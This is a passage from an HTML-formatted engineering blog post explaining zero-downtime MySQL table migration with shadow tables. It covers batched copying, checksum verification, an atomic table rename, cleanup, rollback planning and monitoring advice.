style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;max_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;MAX&lt;/span&gt;(id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Loop through batches (you&amp;#39;d typically script this)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;WHILE &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;max_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;DO&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;INSERT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INTO&lt;/span&gt; users_new (id, name, email, created_at, updated_at)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; id, name, email, created_at, updated_at&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;AND&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;batch_size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; DUPLICATE &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt;(name),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt;(email),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        updated_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt;(updated_at);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;batch_size;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;-- Give the database a breather&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; SLEEP(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt; WHILE;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;step-4-verify-data-consistency&#34;&gt;Step 4: Verify Data Consistency&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081576/coffee-bytes/shadow-table-copy-compare_2_lzbmok.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081576/coffee-bytes/shadow-table-copy-compare_2_lzbmok.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Compare data is the same in shadow table&#34; width=&#34;1065&#34; height=&#34;591&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Before you make the switch, you better be damn sure everything copied correctly:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Check row counts match&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; original_count,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; shadow_count;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Check data integrity with checksums&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SUM&lt;/span&gt;(CRC32(CONCAT(id, name, email))) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; original_checksum,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SUM&lt;/span&gt;(CRC32(CONCAT(id, name, email))) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; shadow_checksum;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Spot check some random records&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;IN&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;50000&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;IN&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;50000&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;step-5-the-great-switcheroo&#34;&gt;Step 5: The Great Switcheroo&lt;/h3&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s where your heart rate spikes. The actual table swap should be lightning fast, like an &lt;del&gt;unnecessary&lt;/del&gt; Rust new shiny library:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081923/coffee-bytes/shadow-table-copy-switch_fck15s.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081923/coffee-bytes/shadow-table-copy-switch_fck15s.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Switch from old table to shadow table&#34; width=&#34;1065&#34; height=&#34;1100&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- This should take milliseconds, not minutes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;START&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRANSACTION&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Drop the triggers first (no more syncing needed)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_insert_sync;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_update_sync;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_delete_sync;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Rename tables atomically&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RENAME&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;TO&lt;/span&gt; users_old, users_new &lt;span style=&#34;color:#ff6ac1&#34;&gt;TO&lt;/span&gt; users;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COMMIT&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;step-6-clean-up-and-verify&#34;&gt;Step 6: Clean Up and Verify&lt;/h3&gt;&#xA;&lt;p&gt;Clean up and &lt;del&gt;realize everything went wrong&lt;/del&gt; celebrate.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Verify everything is working&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;LIMIT&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- After you&amp;#39;re confident everything works (give it a day or two, nevermind, maybe a couple of months)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; users_old;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;handling-tables-with-millions-of-qps&#34;&gt;Handling Tables with millions of QPS&lt;/h2&gt;&#xA;&lt;p&gt;For tables with millions of QPS, or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;million of concurrent users&lt;/a&gt;&#xA;, you can opt for using a queue instead of directly writes.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use a write buffer&lt;/strong&gt;: Queue shadow writes in Redis/Kafka if database just can’t handle dual writes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751083242/coffee-bytes/shadow-table-queue_fln9xj.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751083242/coffee-bytes/shadow-table-queue_fln9xj.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Write buffer for shadow table&#34; width=&#34;1741&#34; height=&#34;584&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Column mapping hell?&lt;/strong&gt; Use views to abstract renames:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VIEW&lt;/span&gt; users_combined &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; id, COALESCE(new_id, id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; unified_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ALL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; id, name &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EXISTS&lt;/span&gt; (...);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;common-errors-while-implementing-shadow-tables&#34;&gt;Common Errors While Implementing Shadow Tables&lt;/h2&gt;&#xA;&lt;p&gt;Let me save you some pain by sharing some common mistakes I&amp;rsquo;ve seen and read about &lt;del&gt;and made&lt;/del&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Forgetting to Handle Foreign Key Constraints&lt;/strong&gt;: If other tables reference your table, you&amp;rsquo;ll need to temporarily disable foreign key checks or handle the references carefully. Don&amp;rsquo;t just ignore this, your data integrity depends on it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Not Testing the Triggers Thoroughly&lt;/strong&gt;: Triggers can fail silently or behave in strange ways under load. Test them with realistic data volumes and concurrent operations before going to production.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Underestimating the Sync Lag&lt;/strong&gt;: During heavy write periods, your triggers can let you down. Monitor the sync status and be prepared to throttle writes if necessary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Inadequate Monitoring&lt;/strong&gt;: You need to be aware during the migration progress, sync lag, and any errors, not after things go wrong. Implement monitoring before you start, not while everything is falling apart.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Poor Rollback Planning&lt;/strong&gt;: Always have plan B. If something goes sideways during the switchover, you need to be able to revert quickly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;handling-shadow-tables-in-distributed-systems&#34;&gt;Handling Shadow Tables in Distributed Systems&lt;/h2&gt;&#xA;&lt;p&gt;Consider service discovery, connection pooling, and cache invalidation. When you rename your tables, remember that every service instance needs to know about the change simultaneously.&lt;/p&gt;&#xA;&lt;p&gt;This often means implementing a coordinated deployment strategy where you temporarily stop traffic, perform the switch, and afterwards restart services.&lt;/p&gt;&#xA;&lt;p&gt;Consider using feature flags, like the one I told you about in my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/common-and-useful-deployment-patterns/&#34;&gt;post about deployment patterns&lt;/a&gt;&#xA;, to control which table your application reads from. This gives you fine-grained control over the migration and allows for gradual rollouts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;databases-with-read-replicas&#34;&gt;Databases with read replicas&lt;/h2&gt;&#xA;&lt;p&gt;Ensure your shadow table has been fully replicated before performing the switch. Monitor replication lag carefully, as the switch needs to happen consistently across all replicas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;monitoring-performance-during-the-transition&#34;&gt;Monitoring Performance During the Transition&lt;/h2&gt;&#xA;&lt;p&gt;When executing the migration you&amp;rsquo;re essentially running two tables in parallel, with its corresponding I/O usage, check disk usage and monitor it.&lt;/p&gt;&#xA;&lt;p&gt;Triggers add overhead to every single INSERT, UPDATE, and DELETE operation. Set up alerts for unusually long trigger execution times.&lt;/p&gt;&#xA;&lt;p&gt;Compare row counts between the original and shadow tables during the process, if the difference between both grows, there is something fishy going on.&lt;/p&gt;&#xA;&lt;h2 id=&#34;handling-unique-constraints-and-foreign-keys&#34;&gt;Handling Unique Constraints and Foreign Keys&lt;/h2&gt;&#xA;&lt;p&gt;For unique constraints, you need to ensure the shadow table maintains exactly the same uniqueness guarantees as the original table.&lt;/p&gt;&#xA;&lt;p&gt;When copying data in batches, use INSERT &amp;hellip; ON DUPLICATE KEY UPDATE or equivalent upsert logic to handle potential duplicates, especially if your application continues to write data during the migration.&lt;/p&gt;&#xA;&lt;p&gt;For Foreign Key constraints, you can disable checks during the migration, however you&amp;rsquo;re risking data integrity, it&amp;rsquo;s always a trade off. Use deferred checks (If you&amp;rsquo;re using PostgreSQL) or disable FK checks (MySQL SET FOREIGN_KEY_CHECKS=0)&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can create the foreign key constraints on the shadow table and update referencing tables after the main migration finishes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dealing-with-triggers-and-stored-procedures&#34;&gt;Dealing with Triggers and Stored Procedures&lt;/h2&gt;&#xA;&lt;p&gt;Existing triggers and stored procedures can be a pain in the&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Firstly, list all existing triggers on your table. You&amp;rsquo;ll need to recreate these triggers on the shadow table, just remember that execution order is paramount.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Your sync triggers should generally be executed last&lt;/strong&gt;, after all business logic triggers have run.&lt;/p&gt;&#xA;&lt;p&gt;Stored procedures that point to your table, should be renamed after the migration. Use synonyms or views to minimize the number of procedures requiring updates.&lt;/p&gt;&#xA;&lt;p&gt;Test trigger interactions thoroughly in a staging environment to prevent unwanted surprises.&lt;/p&gt;&#xA;&lt;h2 id=&#34;verifying-data-consistency-before-cutover&#34;&gt;Verifying Data Consistency Before Cutover&lt;/h2&gt;&#xA;&lt;p&gt;Never skip this step, no matter what.&lt;/p&gt;&#xA;&lt;p&gt;Compare aggregate values like sums, averages, and counts. &lt;strong&gt;Use checksums or hash your data to double-check that row data matches exactly between tables&lt;/strong&gt;. Statistics is your friend, get the correct number of records to sample to get that 95% confidence level.&lt;/p&gt;&#xA;&lt;p&gt;Create automated consistency check scripts that you can run repeatedly during the migration that let you know if everything is going well.&lt;/p&gt;&#xA;&lt;p&gt;Checksum tools (like pg_checksums or custom COUNT(*) + hash_agg() queries) are your friends.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-rollback-plan-when-everything-goes-to-hell&#34;&gt;The Rollback Plan (When Everything Goes to Hell)&lt;/h2&gt;&#xA;&lt;p&gt;Are you familiar with Murphy&amp;rsquo;s Law? Well you know the drill then.&lt;/p&gt;&#xA;&lt;p&gt;The simplest rollback is to reverse the renaming operation. &lt;strong&gt;Keep your original table as &lt;em&gt;&amp;lt;table_name&amp;gt;_old&lt;/em&gt;, or whatever you want, during the cutover period&lt;/strong&gt;, so you can quickly rename it back if Murphy shows up. This should be blazingly fast.&lt;/p&gt;&#xA;&lt;p&gt;For more complex rollbacks, you might need to reverse-sync data from the shadow table back to the original. Consider maintaining reverse triggers during the cutover period, it adds complexity but you&amp;rsquo;ll have more options available&lt;/p&gt;&#xA;&lt;p&gt;When production is on fire, you don&amp;rsquo;t want to be figuring out rollback commands on the fly. &lt;strong&gt;Always document your rollback procedures clearly&lt;/strong&gt;, practice in stagging environments.&lt;/p&gt;&#xA;&lt;p&gt;Consider implementing application-level rollback mechanisms using feature flags or configuration changes. I talked a little bit about them in my post about deployment patterns. Sometimes it&amp;rsquo;s faster to point your application back to the old table than to perform database-level changes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tools-to-help-you&#34;&gt;Tools to help you&lt;/h2&gt;&#xA;&lt;p&gt;There are some tables that can help you to ease the process of migrating a table:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Tool&lt;/th&gt;&#xA;          &lt;th&gt;Best For&lt;/th&gt;&#xA;          